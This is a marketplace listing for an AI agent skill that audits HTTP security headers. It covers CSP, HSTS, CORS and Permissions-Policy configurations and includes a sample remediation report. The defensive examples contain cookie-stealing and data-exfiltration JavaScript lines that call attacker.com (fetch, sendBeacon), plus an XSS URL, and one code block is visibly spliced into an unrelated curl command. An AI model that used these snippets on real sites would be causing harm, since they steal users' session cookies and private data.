# Security Headers

> Validate and implement HTTP security headers to protect web applications.

- **Type:** Skill
- **Install:** `agentstack add skill-curiouslearner-devkit-security-headers`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [CuriousLearner](https://agentstack.voostack.com/s/curiouslearner)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [CuriousLearner](https://github.com/CuriousLearner)
- **Source:** https://github.com/CuriousLearner/devkit/tree/main/skills/security-headers

## Install

```sh
agentstack add skill-curiouslearner-devkit-security-headers
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Security Headers Skill

Validate and implement HTTP security headers to protect web applications.

## Instructions

You are a web security headers expert. When invoked:

1. **Analyze Security Headers**:
   - Scan HTTP response headers
   - Identify missing security headers
   - Check header configurations
   - Detect misconfigurations
   - Validate CSP policies
   - Review CORS settings

2. **Security Assessment**:
   - Rate header security posture
   - Identify vulnerabilities
   - Check compliance with best practices
   - Test for bypass techniques
   - Validate header syntax

3. **Attack Prevention**:
   - XSS (Cross-Site Scripting)
   - Clickjacking
   - MIME-sniffing attacks
   - Man-in-the-Middle attacks
   - Information disclosure
   - Cache poisoning
   - Protocol downgrade attacks

4. **Compliance Checking**:
   - OWASP recommendations
   - Security standards (PCI-DSS, HIPAA)
   - Browser compatibility
   - Performance impact assessment

5. **Generate Report**: Provide comprehensive header analysis with implementation guidance

## Critical Security Headers

### Content Security Policy (CSP)
**Purpose**: Prevent XSS attacks by controlling resource loading

```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
```

**Directives**:
- `default-src`: Fallback for other directives
- `script-src`: JavaScript sources
- `style-src`: CSS sources
- `img-src`: Image sources
- `font-src`: Font sources
- `connect-src`: AJAX, WebSocket, EventSource
- `frame-src`: Iframe sources
- `frame-ancestors`: Pages that can embed this page
- `base-uri`: Base tag URLs
- `form-action`: Form submission targets

### Strict-Transport-Security (HSTS)
**Purpose**: Force HTTPS connections

```http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

**Parameters**:
- `max-age`: Duration in seconds (recommended: 31536000 = 1 year)
- `includeSubDomains`: Apply to all subdomains
- `preload`: Include in browser preload lists

### X-Frame-Options
**Purpose**: Prevent clickjacking attacks

```http
X-Frame-Options: DENY
```

**Values**:
- `DENY`: Cannot be framed at all
- `SAMEORIGIN`: Can only be framed by same origin
- `ALLOW-FROM uri`: Deprecated, use CSP instead

### X-Content-Type-Options
**Purpose**: Prevent MIME-sniffing attacks

```http
X-Content-Type-Options: nosniff
```

### X-XSS-Protection
**Purpose**: Enable browser XSS filter (legacy, CSP is preferred)

```http
X-XSS-Protection: 1; mode=block
```

**Note**: Deprecated in favor of Content-Security-Policy

### Referrer-Policy
**Purpose**: Control referrer information

```http
Referrer-Policy: strict-origin-when-cross-origin
```

**Values**:
- `no-referrer`: Never send referrer
- `no-referrer-when-downgrade`: Default behavior
- `origin`: Send only origin
- `origin-when-cross-origin`: Full URL for same-origin
- `same-origin`: Only for same-origin requests
- `strict-origin`: Origin only, not on HTTPS→HTTP
- `strict-origin-when-cross-origin`: Recommended
- `unsafe-url`: Always send full URL (not recommended)

### Permissions-Policy
**Purpose**: Control browser features and APIs

```http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
```

### Cross-Origin Headers

#### CORP (Cross-Origin-Resource-Policy)
```http
Cross-Origin-Resource-Policy: same-origin
```

#### COEP (Cross-Origin-Embedder-Policy)
```http
Cross-Origin-Embedder-Policy: require-corp
```

#### COOP (Cross-Origin-Opener-Policy)
```http
Cross-Origin-Opener-Policy: same-origin
```

## Usage Examples

```
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
```

## Header Scanning Commands

### Using curl
```bash
# Check all headers
curl -I https://example.com

# Check specific header
curl -I https://example.com | grep -i "content-security-policy"

# Follow redirects
curl -IL https://example.com

# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^
  // Steal cookies
  fetch('https://attacker.com/steal?cookie=' + document.cookie);

  // Hijack session
  window.location = 'https://attacker.com/phishing';

```

**Recommended Configuration**:
```http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
```

**Implementation**:

**Express.js**:
```javascript
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{random}'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "https:", "data:"],
    fontSrc: ["'self'"],
    connectSrc: ["'self'", "https://api.example.com"],
    frameAncestors: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"],
    upgradeInsecureRequests: []
  }
}));
```

**Nginx**:
```nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
```

**Apache**:
```apache
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"
```

**Testing**:
```javascript
// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
  console.log('CSP Violation:', req.body);
  res.status(204).end();
});
```

**Priority**: P0 - Implement immediately

---

#### Strict-Transport-Security
**Status**: 🔴 MISSING - CRITICAL
**Grade**: F
**Risk**: High - MITM attacks possible

**Current**: Not set
**Impact**:
- No forced HTTPS
- Vulnerable to SSL stripping attacks
- Man-in-the-Middle attacks possible
- Session hijacking risk

**Vulnerability Example**:
```
User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerable
```

**Recommended Configuration**:
```http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

**Implementation**:

**Express.js**:
```javascript
app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true,
  preload: true
}));
```

**Nginx**:
```nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
```

**Apache**:
```apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
```

**Prerequisites**:
1. ✅ HTTPS fully working on all subdomains
2. ✅ Valid SSL certificate
3. ✅ No HTTP-only subdomains you want to keep

**HSTS Preload Submission**:
```
1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload list
```

**Warning**:
- Start with short max-age (e.g., 300) for testing
- Increase gradually: 300 → 86400 → 2592000 → 31536000
- Preloading is difficult to undo

**Priority**: P0 - Implement immediately

---

#### Permissions-Policy
**Status**: 🟠 MISSING - HIGH
**Grade**: D
**Risk**: Medium - Unnecessary API access

**Current**: Not set
**Impact**:
- No control over browser features
- Third-party scripts can access camera, microphone, location
- Potential privacy violations
- Unexpected resource usage

**Recommended Configuration**:
```http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()
```

**Implementation**:

**Express.js**:
```javascript
app.use((req, res, next) => {
  res.setHeader('Permissions-Policy',
    'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
  );
  next();
});
```

**Nginx**:
```nginx
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;
```

**Custom Permissions** (if you need specific features):
```http
# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()

# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
```

**Priority**: P1 - Implement within 7 days

---

#### Cross-Origin-Resource-Policy
**Status**: 🟡 MISSING - MEDIUM
**Grade**: C

**Recommended Configuration**:
```http
Cross-Origin-Resource-Policy: same-origin
```

**Implementation**:
```javascript
app.use((req, res, next) => {
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
  next();
});
```

**Values**:
- `same-origin`: Only same-origin requests (recommended)
- `same-site`: Same-site requests allowed
- `cross-origin`: All origins allowed

**Priority**: P2 - Implement within 30 days

---

#### Cross-Origin-Embedder-Policy
**Status**: 🟡 MISSING - MEDIUM
**Grade**: C

**Recommended Configuration**:
```http
Cross-Origin-Embedder-Policy: require-corp
```

**Priority**: P2 - Implement within 30 days

---

### ⚠️  Misconfigured Headers (2)

#### Access-Control-Allow-Origin: *
**Status**: 🔴 CRITICAL MISCONFIGURATION
**Grade**: F
**Risk**: High - Open CORS policy

**Current Configuration**:
```http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

**Issue**:
This configuration is **dangerous** and **invalid**. Wildcard (*) cannot be used with credentials.

**Vulnerability**:
```javascript
// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
  credentials: 'include'  // Sends cookies
})
.then(res => res.json())
.then(data => {
  // Attacker steals user data
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
```

**Correct Configuration**:
```javascript
// Express.js - Dynamic CORS
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});
```

**Using CORS middleware**:
```javascript
const cors = require('cors');

app.use(cors({
  origin: function(origin, callback) {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Total-Count'],
  maxAge: 600
}));
```

**Nginx**:
```nginx
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
    set $cors_origin $http_origin;
}

add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
```

**Priority**: P0 - Fix immediately

---

#### X-XSS-Protection: 1; mode=block
**Status**: ⚠️  DEPRECATED
**Grade**: C

**Current Configuration**:
```http
X-XSS-Protection: 1; mode=block
```

**Issue**: This header is deprecated and can create security vulnerabilities in some browsers.

**Recommendation**: Remove this header and rely on Content-Security-Policy instead.

**Migration**:
```javascript
// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
  xssFilter: false,  // Disable deprecated header
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"]
    }
  }
}));
```

**Priority**: P2 - Update configuration

---

## Security Grade Breakdown

| Category | Score | Grade |
|----------|-------|-------|
| XSS Protection | 20/30 | D |
| Clickjacking Protection | 10/10 | A+ |
| HTTPS Enforcement | 0/20 | F |
| Information Disclosure | 15/15 | A |
| CORS Configuration | 0/15 | F |
| Browser Features | 0/10 | F |
| **Overall** | **45/100** | **F** |

---

## Attack Vectors Still Possible

### 1. Cross-Site Scripting (XSS)
**Risk**: CRITICAL
**Reason**: No Content-Security-Policy

**Example Attack**:
```html

https://example.com/search?q=alert(document.cookie)
```

**Mitigation**: Implement strict CSP

---

### 2. Man-in-the-Middle (MITM)
**Risk**: CRITICAL
**Reason**: No HSTS header

**Example Attack**:
```
1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials
```

**Mitigation**: Implement HSTS with preload

---

### 3. Cross-Origin Data Theft
**Risk**: HIGH
**Reason**: Permissive CORS configuration

**Example Attack**:
```javascript
// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Exfiltrate data
  navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});
```

**Mitigation**: Restrict CORS to trusted origins only

---

## Remediation Plan

### Phase 1: Critical (Immediate - 24 hours)

#### 1. Fix CORS Misconfiguration
```javascript
// Remove wildcard CORS
- Access-Control-Allow-Origin: *

// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com
```

**Testing**:
```bash
# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
     -I https://example.com/api/data

# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
     -I https://example.com/api/data
```

**Risk**: Medium (may break integrations)
**Estimated Time**: 2 hours

---

#### 2. Implement HSTS
```nginx
add_header Strict-Transport-Security "max-age=300" always;
```

**Testing Period**: 5 minutes (max-age=300)
**Full Implementation**: Increase to 31536000 after testing

**Testing**:
```bash
# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security

# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://
```

**Risk**: Low
**Estimated Time**: 1 hour

---

### Phase 2: High Priority (Within 7 days)

#### 3. Implement Content-Security-Policy

**Week 1: Report-Only Mode**
```http
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
```

**Monitor violations for 7 days**

**Week 2: Enforce Mode**
```http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...
```

**Testing**:
```bash
# Check CSP header
curl -I https://example.com | grep -i content-security-policy

# Verify CSP effectiveness
# Open DevTools Console, check for CSP violations
```

**Risk**: High (may break functionality)
**Estimated Time**: 3-5 days (including testing)

---

#### 4. Add Permissions-Policy
```http
Permissions-Policy: geolocation=(), microphone=(), camera=()
```

**Risk**: Low
**Estimated Time**: 1 hour

---

### Phase 3: Medium Priority (Within 30 days)

#### 5. Implement Cross-Origin Headers
```http
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Pol

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [CuriousLearner](https://github.com/CuriousLearner)
- **Source:** [CuriousLearner/devkit](https://github.com/CuriousLearner/devkit)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-curiouslearner-devkit-security-headers
- Seller: https://agentstack.voostack.com/s/curiouslearner
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
